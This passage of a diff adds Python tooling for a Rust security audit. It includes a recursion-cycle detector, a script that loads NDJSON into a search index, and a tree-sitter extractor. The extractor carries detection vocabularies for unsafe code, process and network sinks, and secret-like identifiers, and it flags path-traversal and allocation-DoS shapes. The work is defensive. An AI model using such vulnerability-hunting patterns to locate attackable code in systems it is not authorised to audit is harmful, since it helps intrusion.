+ on_stack[root] = True
+
+ while work:
+ node, it = work[-1]
+ advanced = False
+ for nxt in it:
+ if nxt not in index:
+ index[nxt] = low[nxt] = counter[0]
+ counter[0] += 1
+ stack.append(nxt)
+ on_stack[nxt] = True
+ work.append((nxt, iter(graph.get(nxt, ()))))
+ advanced = True
+ break
+ elif on_stack.get(nxt):
+ low[node] = min(low[node], index[nxt])
+ if advanced:
+ continue
+ work.pop()
+ if work:
+ parent = work[-1][0]
+ low[parent] = min(low[parent], low[node])
+ if low[node] == index[node]:
+ comp = []
+ while True:
+ w = stack.pop()
+ on_stack[w] = False
+ comp.append(w)
+ if w == node:
+ break
+ result.append(comp)
+ return result
+
+
+def main():
+ ap = argparse.ArgumentParser()
+ ap.add_argument("astdir")
+ ap.add_argument("--min-size", type=int, default=1)
+ ap.add_argument("--json", action="store_true")
+ args = ap.parse_args()
+
+ fns, calls = load(args.astdir)
+ graph, info, res = build_graph(fns, calls)
+ comps = sccs(graph, list(info.keys()))
+
+ cycles = []
+ for comp in comps:
+ # size 1 is a cycle only if the function calls itself
+ if len(comp) == 1 and comp[0] not in graph.get(comp[0], ()):
+ continue
+ members = [info[c] for c in comp]
+ if any(m["is_test"] for m in members):
+ continue
+ guarded = any(m["has_depth_guard"] for m in members)
+ cycles.append({
+ "size": len(comp),
+ "guarded": guarded,
+ "crates": sorted({m["crate"] for m in members}),
+ "files": sorted({m["file"] for m in members}),
+ "members": [
+ {"fn": m["fn_name"], "file": m["file"], "line": m["line_start"],
+ "has_depth_guard": m["has_depth_guard"], "is_pub": m["is_pub"]}
+ for m in sorted(members, key=lambda m: (m["file"], m["line_start"]))
+ ],
+ })
+
+ cycles.sort(key=lambda c: (c["guarded"], -c["size"]))
+ unguarded = [c for c in cycles if not c["guarded"]]
+ out = {
+ "total_functions": len(fns),
+ "call_edges": len(calls),
+ "ambiguous_callee_resolutions": res["ambiguous"],
+ "skipped_method_calls": res["skipped_method_calls"],
+ "recursion_cycles": len(cycles),
+ "unguarded_cycles": len(unguarded),
+ "cycles": [c for c in cycles if c["size"] >= args.min_size],
+ }
+
+ if args.json:
+ print(json.dumps(out, indent=2))
+ return
+
+ print(f"functions={out['total_functions']} edges={out['call_edges']} "
+ f"cycles={out['recursion_cycles']} unguarded={out['unguarded_cycles']} "
+ f"(ambiguous: {res['ambiguous']}, method calls skipped: {res['skipped_method_calls']})")
+ for c in cycles:
+ if c["size"] < args.min_size:
+ continue
+ tag = "GUARDED" if c["guarded"] else "UNGUARDED"
+ print(f"\n[{tag}] cycle of {c['size']} in {','.join(c['crates'])}")
+ for m in c["members"]:
+ g = " (depth guard)" if m["has_depth_guard"] else ""
+ print(f" {m['file']}:{m['line']} {m['fn']}{g}")
+
+
+if __name__ == "__main__":
+ main()
diff --git a/docs/examples/rust-ast-audit/ingest.py b/docs/examples/rust-ast-audit/ingest.py
new file mode 100644
index 000000000..deba740cc
--- /dev/null
+++ b/docs/examples/rust-ast-audit/ingest.py
@@ -0,0 +1,213 @@
+#!/usr/bin/env python3
+"""Index the Rust AST substrate into XERJ (ES-compatible wire).
+
+Creates three indices with EXPLICIT mappings. Explicit mappings matter here:
+the audit filters on exact values (crate names, sink categories, op names), so
+those fields must be `keyword`, not analyzed `text`. Only the code bodies and
+signatures are `text` (for phrase search inside code).
+
+Usage:
+ python3 ingest.py <ast-out-dir> [--url http://127.0.0.1:9310] [--suffix ""]
+"""
+
+import argparse
+import json
+import os
+import sys
+import time
+import urllib.error
+import urllib.request
+
+KEYWORD = {"type": "keyword"}
+TEXT = {"type": "text"}
+INT = {"type": "integer"}
+BOOL = {"type": "boolean"}
+
+FUNCTIONS_MAPPING = {
+ "mappings": {
+ "properties": {
+ "id": KEYWORD,
+ "crate": KEYWORD,
+ "file": KEYWORD,
+ "line_start": INT,
+ "line_end": INT,
+ "fn_name": KEYWORD,
+ "module_path": KEYWORD,
+ "owner": KEYWORD,
+ "trait_impl": KEYWORD,
+ "in_unsafe_impl": BOOL,
+ "is_test": BOOL,
+ "signature": TEXT,
+ "params": TEXT,
+ "param_names": KEYWORD,
+ "return_type": TEXT,
+ "is_async": BOOL,
+ "is_unsafe_fn": BOOL,
+ "is_pub": BOOL,
+ "loc": INT,
+ "has_unsafe_block": BOOL,
+ "unsafe_block_count": INT,
+ "unsafe_block_lines": INT,
+ "unsafe_ops": KEYWORD,
+ "unsafe_any": BOOL,
+ "panic_ops": KEYWORD,
+ "panic_count": INT,
+ "index_expr_count": INT,
+ "index_exprs": TEXT,
+ "cast_count": INT,
+ "casts": TEXT,
+ "narrowing_casts": TEXT,
+ "narrowing_cast_count": INT,
+ "has_narrowing_cast": BOOL,
+ "alloc_ops": KEYWORD,
+ "alloc_from_param_count": INT,
+ "alloc_args": TEXT,
+ "alloc_param_names": KEYWORD,
+ "alloc_product": BOOL,
+ "path_join_args": TEXT,
+ "path_join_from_param": BOOL,
+ "calls_self": BOOL,
+ "has_depth_guard": BOOL,
+ "reads_config_limit": BOOL,
+ "extractors": KEYWORD,
+ "is_handler_shaped": BOOL,
+ "sinks": KEYWORD,
+ "validators": KEYWORD,
+ "concurrency": KEYWORD,
+ "lock_across_await": BOOL,
+ "body": TEXT,
+ "body_truncated": BOOL,
+ "body_chars": INT,
+ "body_lines": INT,
+ }
+ }
+}
+
+CALLS_MAPPING = {
+ "mappings": {
+ "properties": {
+ "caller_id": KEYWORD,
+ "caller": KEYWORD,
+ "file": KEYWORD,
+ "line": INT,
+ "callee_path": TEXT,
+ "callee": KEYWORD,
+ "kind": KEYWORD,
+ "is_method": BOOL,
+ "resolvable": BOOL,
+ }
+ }
+}
+
+ROUTES_MAPPING = {
+ "mappings": {
+ "properties": {
+ "file": KEYWORD,
+ "crate": KEYWORD,
+ "line": INT,
+ "method": KEYWORD,
+ "path": KEYWORD,
+ "handler": KEYWORD,
+ "handler_path": TEXT,
+ "unauth_looking": BOOL,
+ }
+ }
+}
+
+
+def req(url, method="GET", body=None, ctype="application/json"):
+ data = body.encode() if isinstance(body, str) else body
+ r = urllib.request.Request(url, data=data, method=method)
+ r.add_header("Content-Type", ctype)
+ try:
+ with urllib.request.urlopen(r, timeout=300) as resp:
+ return resp.status, resp.read().decode()
+ except urllib.error.HTTPError as e:
+ return e.code, e.read().decode()
+
+
+def create(url, name, mapping):
+ req(f"{url}/{name}", "DELETE")
+ st, body = req(f"{url}/{name}", "PUT", json.dumps(mapping))
+ if st >= 300:
+ sys.exit(f"create {name} failed: {st} {body[:500]}")
+ return st
+
+
+def bulk_load(url, index, path, batch=2000):
+ """NDJSON -> _bulk in batches. `alloc_from_param` is dropped: it is a list of
+ objects and the audit queries it via alloc_ops/param names instead."""
+ n = 0
+ t0 = time.time()
+ buf = []
+ errors = []
+
+ def flush():
+ nonlocal buf, n
+ if not buf:
+ return
+ payload = "".join(buf)
+ st, body = req(f"{url}/{index}/_bulk", "POST", payload,
+ "application/x-ndjson")
+ if st >= 300:
+ errors.append(f"{st}: {body[:300]}")
+ else:
+ d = json.loads(body)
+ if d.get("errors"):
+ for item in d.get("items", []):
+ act = next(iter(item.values()))
+ if act.get("error"):
+ errors.append(json.dumps(act["error"])[:300])
+ break
+ buf = []
+
+ for line in open(path):
+ rec = json.loads(line)
+ rec.pop("alloc_from_param", None)
+ buf.append(json.dumps({"index": {"_index": index}}) + "\n")
+ buf.append(json.dumps(rec, separators=(",", ":")) + "\n")
+ n += 1
+ if n % batch == 0:
+ flush()
+ flush()
+ req(f"{url}/{index}/_refresh", "POST")
+ return n, round(time.time() - t0, 2), errors[:5]
+
+
+def count(url, index):
+ st, body = req(f"{url}/{index}/_count")
+ if st >= 300:
+ return -1
+ return json.loads(body).get("count", -1)
+
+
+def main():
+ ap = argparse.ArgumentParser()
+ ap.add_argument("astdir")
+ ap.add_argument("--url", default="http://127.0.0.1:9310")
+ ap.add_argument("--suffix", default="")
+ args = ap.parse_args()
+
+ sfx = args.suffix
+ plan = [
+ (f"rustfns{sfx}", FUNCTIONS_MAPPING, "functions.ndjson"),
+ (f"rustcalls{sfx}", CALLS_MAPPING, "calls.ndjson"),
+ (f"rustroutes{sfx}", ROUTES_MAPPING, "routes.ndjson"),
+ ]
+ out = {"url": args.url, "indices": {}}
+ for name, mapping, fname in plan:
+ create(args.url, name, mapping)
+ path = os.path.join(args.astdir, fname)
+ sent, secs, errs = bulk_load(args.url, name, path)
+ got = count(args.url, name)
+ out["indices"][name] = {
+ "sent": sent, "indexed": got, "match": sent == got,
+ "seconds": secs, "sample_errors": errs,
+ }
+ print(json.dumps(out, indent=2))
+ if not all(v["match"] for v in out["indices"].values()):
+ sys.exit("COUNT MISMATCH — investigate before trusting the index")
+
+
+if __name__ == "__main__":
+ main()
diff --git a/docs/examples/rust-ast-audit/rust_ast_index.py b/docs/examples/rust-ast-audit/rust_ast_index.py
new file mode 100644
index 000000000..8c4bbaf07
--- /dev/null
+++ b/docs/examples/rust-ast-audit/rust_ast_index.py
@@ -0,0 +1,664 @@
+#!/usr/bin/env python3
+"""Rust AST security substrate extractor (tree-sitter-rust).
+
+Turns a Rust workspace into three NDJSON streams that a search engine can answer
+whitebox-security questions against:
+
+ functions.ndjson one record per function/method, with the security-relevant
+ facts an auditor filters on (unsafe ops, panic sites, `as`
+ casts, allocation shapes, axum extractors, sinks, validators,
+ lock-across-await) plus the body text so an agent can read
+ the function without opening the file.
+ calls.ndjson caller -> callee edges, so interprocedural reach
+ (handler -> ... -> sink) is a query, not a guess.
+ routes.ndjson HTTP method + path pattern -> handler function, so
+ "network-reachable" is a fact rather than an assumption.
+
+Unlike a grep-style scanner, the AST gives each fact a *scope*: "unvalidated
+request parameter and a filesystem sink in the same function" is expressible.
+
+Usage:
+ python3 rust_ast_index.py <workspace-root> [--out DIR]
+
+Requires: tree-sitter, tree-sitter-rust.
+"""
+
+import argparse
+import json
+import os
+import sys
+from collections import Counter
+
+try:
+ import tree_sitter_rust
+ from tree_sitter import Language, Parser
+except ImportError: # pragma: no cover
+ sys.exit("need: pip install tree-sitter==0.26.0 tree-sitter-rust==0.24.2")
+
+
+# ── security signal vocabulary ────────────────────────────────────────────────
+# Substring patterns matched against a function's own source text. The AST
+# supplies the scoping and the call edges; these supply the signatures.
+
+UNSAFE_OPS = {
+ "transmute": ["transmute"],
+ "from_raw": ["from_raw", "from_raw_parts"],
+ "unchecked_index": ["get_unchecked", "get_unchecked_mut"],
+ "set_len": ["set_len"],
+ "assume_init": ["assume_init"],
+ "static_mut": ["static mut"],
+ "ffi_call": ["extern \"C\"", "libc::"],
+ "raw_deref": ["*mut ", "*const "],
+ "uninit": ["MaybeUninit", "mem::uninitialized", "zeroed()"],
+ "ptr_arith": ["ptr::", ".offset(", ".add(", ".sub("],
+ "ptr_reborrow": ["&mut *", "&*"],
+ "mmap": ["Mmap::map", "MmapMut::map", "memmap2::"],
+ "utf8_unchecked": ["from_utf8_unchecked"],
+ "slice_raw_parts": ["slice::from_raw_parts", "from_raw_parts"],
+}
+
+PANIC_OPS = {
+ "unwrap": [".unwrap()"],
+ "expect": [".expect("],
+ "panic": ["panic!("],
+ "unreachable": ["unreachable!("],
+ "todo": ["todo!(", "unimplemented!("],
+ "assert": ["assert!(", "assert_eq!(", "assert_ne!("],
+ "abort": ["process::abort", ".abort()", "process::exit"],
+ "unwrap_unchecked": ["unwrap_unchecked"],
+ "slice_from_str": ["from_utf8_unchecked"],
+}
+
+ALLOC_OPS = {
+ "with_capacity": ["with_capacity("],
+ "reserve": [".reserve(", ".reserve_exact("],
+ "vec_repeat": ["vec!["],
+ "repeat": [".repeat("],
+ "collect": [".collect()", ".collect::<"],
+ "extend": [".extend("],
+ "to_vec": [".to_vec()"],
+}
+
+# axum / tower extractor types seen in handler signatures.
+EXTRACTORS = [
+ "Path<", "Query<", "Json<", "OptionalJson<", "State<", "Extension<",
+ "Multipart", "Body", "Bytes", "HeaderMap", "TypedHeader", "Form<",
+ "RawQuery", "ConnectInfo<", "WebSocketUpgrade", "Request<",
+]
+
+SINKS = {
+ "fs_read": ["fs::read", "File::open", "read_to_string", "read_dir"],
+ "fs_write": ["fs::write", "File::create", "create_dir_all", "OpenOptions"],
+ "fs_delete": ["remove_dir_all", "remove_file", "remove_dir"],
+ "fs_path_join": [".join(", "PathBuf::from", "Path::new"],
+ "fs_rename": ["fs::rename", "hard_link", "symlink"],
+ "process": ["Command::new", "process::Command"],
+ "deserialize": [
+ "serde_json::from_", "from_slice", "from_reader", "from_str::<",
+ "bincode::", "rmp_serde", "serde_yaml::from_",
+ ],
+ "net_egress": ["reqwest::", "TcpStream::connect", "hyper::Client", "Client::new"],
+ "spawn": ["tokio::spawn", "thread::spawn", "spawn_blocking"],
+ "sql_ish": [".query(", ".execute("],
+ "log_secret": ["api_key", "password", "secret", "token"],
+}
+
+VALIDATORS = {
+ "explicit_validate": ["validate", "is_valid", "check_"],
+ "typed_name": ["IndexName::new", "IndexName::validate", "Namespace::new"],
+ "checked_arith": ["checked_add", "checked_mul", "checked_sub", "checked_div"],
+ "saturating": ["saturating_add", "saturating_mul", "saturating_sub"],
+ "try_convert": ["try_from", "try_into", "TryFrom"],
+ "containment": ["starts_with", "canonicalize", "contains(\"..\")"],
+ "bounds": ["is_empty()", ".len() >", ".len() <", "min(", "max(", "clamp("],
+ "auth": ["authorize", "authenticate", "require_", "has_permission", "verify_"],
+}
+
+CONCURRENCY = {
+ "lock_acquire": [".lock()", ".read()", ".write()", ".lock().await",
+ ".read().await", ".write().await"],
+ "relaxed_atomic": ["Ordering::Relaxed"],
+ "spawn_blocking": ["spawn_blocking"],
+ "block_on": ["block_on", "blocking_recv", "blocking_send"],
+ "dashmap": ["DashMap", "dashmap::"],
+}
+
+
+def hits(text, table):
+ """Which categories in `table` appear in `text`."""
+ return sorted(k for k, pats in table.items() if any(p in text for p in pats))
+
+
+class Extractor:
+ def __init__(self, root):
+ self.root = os.path.abspath(root)
+ self.parser = Parser(Language(tree_sitter_rust.language()))
+ self.functions = []
+ self.calls = []
+ self.routes = []
+ self.stats = Counter()
+ self.per_file = []
+ self.error_files = []
+
+ # ── traversal ────────────────────────────────────────────────────────────
+
+ def run(self):
+ for path in self.rust_files():
+ self.parse_file(path)
+ return self
+
+ def rust_files(self):
+ out = []
+ for dirpath, dirnames, filenames in os.walk(self.root):
+ dirnames[:] = [d for d in dirnames if d not in ("target", ".git")]
+ for fn in filenames:
+ if fn.endswith(".rs"):
+ out.append(os.path.join(dirpath, fn))
+ return sorted(out)
+
+ def parse_file(self, path):
+ src = open(path, "rb").read()
+ tree = self.parser.parse(src)
+ rel = os.path.relpath(path, self.root)
+ crate = self.crate_of(rel)
+
+ err = self.count_errors(tree.root_node)
+ total_fns = self.count_functions(tree.root_node)
+ before = len(self.functions)
+
+ self.walk(tree.root_node, src, rel, crate, mod_path=[], owner=None)
+ self.scan_routes(src, rel, crate)
+
+ emitted = len(self.functions) - before
+ self.stats["files"] += 1
+ self.stats["error_nodes"] += err
+ self.stats["ast_functions"] += total_fns
+ self.stats["emitted_functions"] += emitted
+ if err:
+ self.error_files.append({"file": rel, "error_nodes": err})
+ self.per_file.append({
+ "file": rel, "crate": crate, "bytes": len(src),
+ "lines": src.count(b"\n") + 1,
+ "ast_functions": total_fns, "emitted_functions": emitted,
+ "error_nodes": err,
+ })
+
+ def crate_of(self, rel):
+ parts = rel.split(os.sep)
+ if "crates" in parts:
+ return parts[parts.index("crates") + 1]
+ return parts[0] if parts else "?"
+
+ def count_errors(self, node):
+ n = 0
+ stack = [node]
+ while stack:
+ cur = stack.pop()
+ if cur.type == "ERROR" or cur.is_missing:
+ n += 1
+ stack.extend(cur.children)
+ return n
+
+ def count_functions(self, node):
+ n = 0
+ stack = [node]
+ while stack:
+ cur = stack.pop()
+ if cur.type == "function_item":
+ n += 1
+ stack.extend(cur.children)
+ return n
+
+ def walk(self, node, src, rel, crate, mod_path, owner):
+ """Descend, tracking module path and impl/trait owner for scoping."""
+ for child in node.children:
+ t = child.type
+
+ if t == "mod_item":
+ name = self.field_text(child, "name", src)
+ body = child.child_by_field_name("body")
+ if body is not None:
+ self.walk(body, src, rel, crate, mod_path + [name or "?"], owner)
+ continue
+
+ if t in ("impl_item", "trait_item"):
+ type_node = child.child_by_field_name("type")
+ trait_node = child.child_by_field_name("trait")
+ name = self.field_text(child, "name", src)
+ owner_name = (
+ self.text(type_node, src) if type_node is not None
+ else (name or "?")
+ )
+ trait_name = self.text(trait_node, src) if trait_node is not None else None
+ is_unsafe_impl = b"unsafe impl" in self.text_bytes(child, src)[:32]
+ body = child.child_by_field_name("body")
+ if body is not None:
+ self.walk(
+ body, src, rel, crate, mod_path,
+ {"owner": owner_name, "trait": trait_name,
+ "kind": t, "unsafe_impl": is_unsafe_impl},
+ )
+ continue
+
+ if t == "function_item":
+ self.emit_function(child, src, rel, crate, mod_path, owner)
+ # Descend into the body: Rust allows nested `fn` items inside a
+ # function (helpers in tests, local recursion). Without this the
+ # inner ones are invisible and coverage silently drops below 100%.
+ body = child.child_by_field_name("body")
+ if body is not None:
+ inner_name = self.field_text(child, "name", src) or "?"
+ self.walk(
+ body, src, rel, crate, mod_path + [f"fn:{inner_name}"], owner
+ )
+ continue
+
+ self.walk(child, src, rel, crate, mod_path, owner)
+
+ # ── record building ──────────────────────────────────────────────────────
+
+ def emit_function(self, node, src, rel, crate, mod_path, owner):
+ name = self.field_text(node, "name", src) or "?"
+ params_node = node.child_by_field_name("parameters")
+ ret_node = node.child_by_field_name("return_type")
+ body_node = node.child_by_field_name("body")
+
+ header = self.text(node, src)[: node.start_byte and 400 or 400]
+ decl = self.text(node, src).split("{", 1)[0]
+ body = self.text(body_node, src) if body_node is not None else ""
+ params = self.text(params_node, src) if params_node is not None else "()"
+ ret = self.text(ret_node, src) if ret_node is not None else ""
+
+ fn_id = f"{rel}:{name}:{node.start_point[0] + 1}"
+ unsafe_blocks = self.unsafe_blocks(node, src)
+ casts = self.casts(node, src)
+ index_exprs = self.index_exprs(node, src)
+
+ extractors = [e for e in EXTRACTORS if e in params]
+ param_names = self.param_names(params_node, src) if params_node else []
+ alloc_from_param = self.alloc_from_param(body, param_names)
+
+ record = {
+ "id": fn_id,
+ "crate": crate,
+ "file": rel,
+ "line_start": node.start_point[0] + 1,
+ "line_end": node.end_point[0] + 1,
+ "fn_name": name,
+ "module_path": "::".join(mod_path),
+ "owner": (owner or {}).get("owner"),
+ "trait_impl": (owner or {}).get("trait"),
+ "in_unsafe_impl": bool((owner or {}).get("unsafe_impl")),
+ "is_test": self.is_test(node, src) or self.in_test_scope(rel, mod_path),
+ # signature facts
+ "signature": decl.strip()[:600],
+ "params": params[:1500],
+ "param_names": param_names,
+ "return_type": ret[:300],
+ "is_async": "async" in decl,
+ "is_unsafe_fn": decl.strip().startswith("unsafe ") or " unsafe fn " in decl,
+ "is_pub": decl.strip().startswith("pub"),
+ "loc": node.end_point[0] - node.start_point[0] + 1,
+ # unsafe
+ "has_unsafe_block": bool(unsafe_blocks),
+ "unsafe_block_count": len(unsafe_blocks),
+ "unsafe_block_lines": [b["line"] for b in unsafe_blocks],
+ "unsafe_ops": hits(" ".join(b["text"] for b in unsafe_blocks), UNSAFE_OPS),
+ "unsafe_any": bool(unsafe_blocks) or bool(
+ decl.strip().startswith("unsafe ")
+ ),
+ # panic / abort surface
+ "panic_ops": hits(body, PANIC_OPS),
+ "panic_count": sum(body.count(p) for pats in PANIC_OPS.values() for p in pats),
+ "index_expr_count": len(index_exprs),
+ "index_exprs": index_exprs[:20],
+ "cast_count": len(casts),
+ "casts": casts[:25],
+ "narrowing_casts": [c for c in casts if self.is_narrowing(c)],
+ "narrowing_cast_count": sum(1 for c in casts if self.is_narrowing(c)),
+ "has_narrowing_cast": any(self.is_narrowing(c) for c in casts),
+ # allocation. The blunt "calls with_capacity" filter is far too broad
+ # to be an audit signal (hundreds of hits). What discriminates a DoS
+ # shape is ARGUMENT PROVENANCE: a size derived from request input,
+ # and especially a PRODUCT of two request-derived counts (the
+ # cross-product blowup shape). Those are separate fields so a query
+ # can ask for them directly.
+ "alloc_ops": hits(body, ALLOC_OPS),
+ "alloc_from_param": alloc_from_param,
+ "alloc_from_param_count": len(alloc_from_param),
+ "alloc_args": [a["arg"] for a in alloc_from_param][:12],
+ "alloc_param_names": sorted({a["param"] for a in alloc_from_param}),
+ "alloc_product": any("*" in a["arg"] for a in alloc_from_param),
+ # what gets path-joined — "join a raw parameter" is the traversal shape
+ "path_join_args": self.join_args(body, param_names)[:12],
+ "path_join_from_param": bool(self.join_args(body, param_names)),
+ # recursion + depth guarding (the stack-overflow shape)
+ "calls_self": (name + "(") in body,
+ "has_depth_guard": any(
+ p in body for p in ("DepthGuard", "MAX_QUERY_DEPTH", "depth +",
+ "depth_guard", "recursion_limit", "depth >")
+ ),
+ "reads_config_limit": any(
+ p in body for p in ("limits.max", "config().limits", "max_fields",
+ "max_actions", "max_result", "max_pending")
+ ),
+ # network reachability
+ "extractors": extractors,
+ "is_handler_shaped": bool(extractors) and "async" in decl,
+ # sinks / validators / concurrency
+ "sinks": hits(body, SINKS),
+ "validators": hits(body, VALIDATORS),
+ "concurrency": hits(body, CONCURRENCY),
+ "lock_across_await": self.lock_across_await(body),
+ # readable body for the agent. Some functions in this codebase are
+ # >1800 lines, so the flag tells an auditor when the indexed body is
+ # partial and the real file must be opened before drawing conclusions.
+ "body": body[:12000],
+ "body_truncated": len(body) > 12000,
+ "body_chars": len(body),
+ "body_lines": body.count("\n") + 1,
+ }
+ self.functions.append(record)
+ self.emit_calls(node, src, rel, fn_id, name)
+
+ def emit_calls(self, node, src, rel, fn_id, caller):
+ stack = [node]
+ seen = set()
+ while stack:
+ cur = stack.pop()
+ if cur.type == "call_expression":
+ fn_node = cur.child_by_field_name("function")
+ if fn_node is not None:
+ callee = self.text(fn_node, src).strip()
+ short = callee.split("::")[-1].split(".")[-1]
+ key = (callee, cur.start_point[0])
+ if key not in seen:
+ seen.add(key)
+ # A method call (`x.len()`) cannot be resolved to a
+ # definition without type inference: the receiver's type
+ # is unknown here. A free or path-qualified call
+ # (`foo()`, `Type::foo()`) can be. Callers that build a
+ # call graph MUST distinguish these — resolving `.len()`
+ # by name alone wires every `len` in the tree together
+ # and collapses the graph into one giant component.
+ self.calls.append({
+ "caller_id": fn_id, "caller": caller, "file": rel,
+ "line": cur.start_point[0] + 1,
+ "callee_path": callee[:200], "callee": short[:120],
+ "kind": "call",
+ "is_method": "." in callee,
+ "resolvable": "." not in callee,
+ })
+ elif cur.type == "macro_invocation":
+ m = cur.child_by_field_name("macro")
+ if m is not None:
+ name = self.text(m, src)
+ key = (name, cur.start_point[0])
+ if key not in seen:
+ seen.add(key)
+ self.calls.append({
+ "caller_id": fn_id, "caller": caller, "file": rel,
+ "line": cur.start_point[0] + 1,
+ "callee_path": name + "!", "callee": name,
+ "kind": "macro", "is_method": False,
+ "resolvable": False,
+ })
+ stack.extend(cur.children)
+
+ def scan_routes(self, src, rel, crate):
+ """Extract axum route registrations: .route("/p", get(handler))."""
+ text = src.decode("utf8", "replace")
+ idx = 0
+ while True:
+ i = text.find(".route(", idx)
+ if i < 0:
+ break
+ idx = i + 7
+ seg = text[i : i + 400]
+ q1 = seg.find('"')
+ if q1 < 0:
+ continue
+ q2 = seg.find('"', q1 + 1)
+ if q2 < 0:
+ continue
+ path_pat = seg[q1 + 1 : q2]
+ rest = seg[q2 + 1 : q2 + 260]
+ for method in ("get", "post", "put", "delete", "patch", "head", "any"):
+ token = method + "("
+ mi = rest.find(token)
+ if mi < 0:
+ continue
+ handler = rest[mi + len(token) :]
+ handler = handler.split(")")[0].split(",")[0].strip()
+ if not handler:
+ continue
+ self.routes.append({
+ "file": rel, "crate": crate,
+ "line": text.count("\n", 0, i) + 1,
+ "method": method.upper(), "path": path_pat,
+ "handler": handler.split("::")[-1][:120],
+ "handler_path": handler[:200],
+ "unauth_looking": "_cluster" not in path_pat,
+ })
+
+ # ── small helpers ────────────────────────────────────────────────────────
+
+ def text(self, node, src):
+ if node is None:
+ return ""
+ return src[node.start_byte : node.end_byte].decode("utf8", "replace")
+
+ def text_bytes(self, node, src):
+ return src[node.start_byte : node.end_byte]
+
+ def field_text(self, node, field, src):
+ n = node.child_by_field_name(field)
+ return self.text(n, src) if n is not None else None
+
+ def is_test(self, node, src):
+ # attributes precede the function_item as siblings inside the parent.
+ prev = node.prev_sibling
+ seen = 0
+ while prev is not None and seen < 4:
+ if prev.type == "attribute_item":
+ a = self.text(prev, src)
+ if "test" in a or "cfg(test)" in a:
+ return True
+ elif prev.type not in ("line_comment", "block_comment", "attribute_item"):
+ break
+ prev = prev.prev_sibling
+ seen += 1
+ return False
+
+ def in_test_scope(self, rel, mod_path):
+ """Integration-test files and any `mod tests` ancestor are test scope.
+
+ Audit queries filter test code out: a panic in a test is not a DoS.
+ """
+ if "/tests/" in rel or rel.startswith("tests/") or "_tests.rs" in rel:
+ return True
+ return any(m in ("tests", "test") or m.endswith("_tests") for m in mod_path)
+
+ def unsafe_blocks(self, node, src):
+ out = []
+ stack = [node]
+ while stack:
+ cur = stack.pop()
+ if cur.type == "unsafe_block":
+ out.append({
+ "line": cur.start_point[0] + 1,
+ "text": self.text(cur, src)[:2000],
+ })
+ stack.extend(cur.children)
+ return sorted(out, key=lambda b: b["line"])
+
+ def casts(self, node, src):
+ out = []
+ stack = [node]
+ while stack:
+ cur = stack.pop()
+ if cur.type == "type_cast_expression":
+ out.append(self.text(cur, src).replace("\n", " ")[:160])
+ stack.extend(cur.children)
+ return out
+
+ NARROW = ("as u8", "as u16", "as u32", "as i8", "as i16", "as i32",
+ "as usize", "as isize", "as f32")
+
+ def is_narrowing(self, cast_text):
+ return any(cast_text.rstrip().endswith(n) for n in self.NARROW)
+
+ def index_exprs(self, node, src):
+ out = []
+ stack = [node]
+ while stack:
+ cur = stack.pop()
+ if cur.type == "index_expression":
+ out.append(self.text(cur, src).replace("\n", " ")[:120])
+ stack.extend(cur.children)
+ return out
+
+ def param_names(self, params_node, src):
+ names = []
+ for child in params_node.children:
+ if child.type == "parameter":
+ pat = child.child_by_field_name("pattern")
+ if pat is not None:
+ names.append(self.text(pat, src))
+ elif child.type == "self_parameter":
+ names.append("self")
+ return names
+
+ def alloc_from_param(self, body, param_names):
+ """with_capacity/reserve whose argument mentions a parameter name."""
+ out = []
+ for pat in ("with_capacity(", ".reserve(", "vec![", ".repeat("):
+ start = 0
+ while True:
+ i = body.find(pat, start)
+ if i < 0:
+ break
+ start = i + len(pat)
+ arg = body[i + len(pat) : i + len(pat) + 120]
+ arg = arg.split(")")[0]
+ for p in param_names:
+ if p and p != "self" and p in arg:
+ out.append({"call": pat.strip("."), "arg": arg[:100],
+ "param": p})
+ break
+ return out
+
+ def join_args(self, body, param_names):
+ """`.join(x)` arguments that mention a parameter name.
+
+ `dst.join(user_input)` is the path-traversal shape; `dir.join("fixed")`
+ is not. Without the argument text the two are indistinguishable.
+ """
+ out = []
+ start = 0
+ while True:
+ i = body.find(".join(", start)
+ if i < 0:
+ break
+ start = i + 6
+ arg = body[i + 6 : i + 6 + 120].split(")")[0]
+ for p in param_names:
+ if p and p != "self" and p in arg:
+ out.append(arg.strip()[:100])
+ break
+ return out
+
+ def lock_across_await(self, body):
+ """Heuristic: a lock guard bound to a name, then an .await before scope end."""
+ flags = []
+ for i, line in enumerate(body.split("\n")):
+ if any(p in line for p in (".lock()", ".read()", ".write()")) and "let " in line:
+ if ".await" not in line:
+ flags.append(i + 1)
+ if not flags:
+ return False
+ return ".await" in body
+
+ # ── output ───────────────────────────────────────────────────────────────
+
+ def write(self, outdir):
+ os.makedirs(outdir, exist_ok=True)
+ for name, rows in (("functions", self.functions),
+ ("calls", self.calls),
+ ("routes", self.routes)):
+ with open(os.path.join(outdir, f"{name}.ndjson"), "w") as fh:
+ for r in rows:
+ fh.write(json.dumps(r, separators=(",", ":")) + "\n")
+
+ # A nested `fn` lives inside its parent's body, so the parent's body scan
+ # sees the child's unsafe blocks too. For a *site* inventory that is
+ # double-counting: attribute each (file, line) to the INNERMOST enclosing
+ # function, i.e. the candidate with the greatest line_start.
+ site_by_loc = {}
+ for f in self.functions:
+ for ln in f["unsafe_block_lines"]:
+ key = (f["file"], ln)
+ prev = site_by_loc.get(key)
+ if prev is None or f["line_start"] > prev["_fn_line"]:
+ site_by_loc[key] = {
+ "file": f["file"], "fn": f["fn_name"], "line": ln,
+ "ops": f["unsafe_ops"], "is_unsafe_fn": f["is_unsafe_fn"],
+ "crate": f["crate"], "_fn_line": f["line_start"],
+ }
+ unsafe_sites = sorted(
+ ({k: v for k, v in s.items() if k != "_fn_line"}
+ for s in site_by_loc.values()),
+ key=lambda s: (s["file"], s["line"]),
+ )
+ unsafe_fns = [
+ {"file": f["file"], "fn": f["fn_name"], "line": f["line_start"],
+ "crate": f["crate"]}
+ for f in self.functions if f["is_unsafe_fn"]
+ ]
+
+ coverage = {
+ "root": self.root,
+ "files_total": self.stats["files"],
+ "files_parsed": self.stats["files"] - len(self.error_files),
+ "files_with_error_nodes": len(self.error_files),
+ "error_files": self.error_files,
+ "error_nodes_total": self.stats["error_nodes"],
+ "ast_function_nodes": self.stats["ast_functions"],
+ "emitted_function_records": self.stats["emitted_functions"],
+ "function_coverage_pct": round(
+ 100.0 * self.stats["emitted_functions"]
+ / max(1, self.stats["ast_functions"]), 4),
+ "call_edges": len(self.calls),
+ "routes": len(self.routes),
+ "unsafe_block_sites": len(unsafe_sites),
+ "unsafe_fn_declarations": len(unsafe_fns),
+ "functions_with_unsafe": sum(1 for f in self.functions if f["unsafe_any"]),
+ "handler_shaped_functions": sum(
+ 1 for f in self.functions if f["is_handler_shaped"]),
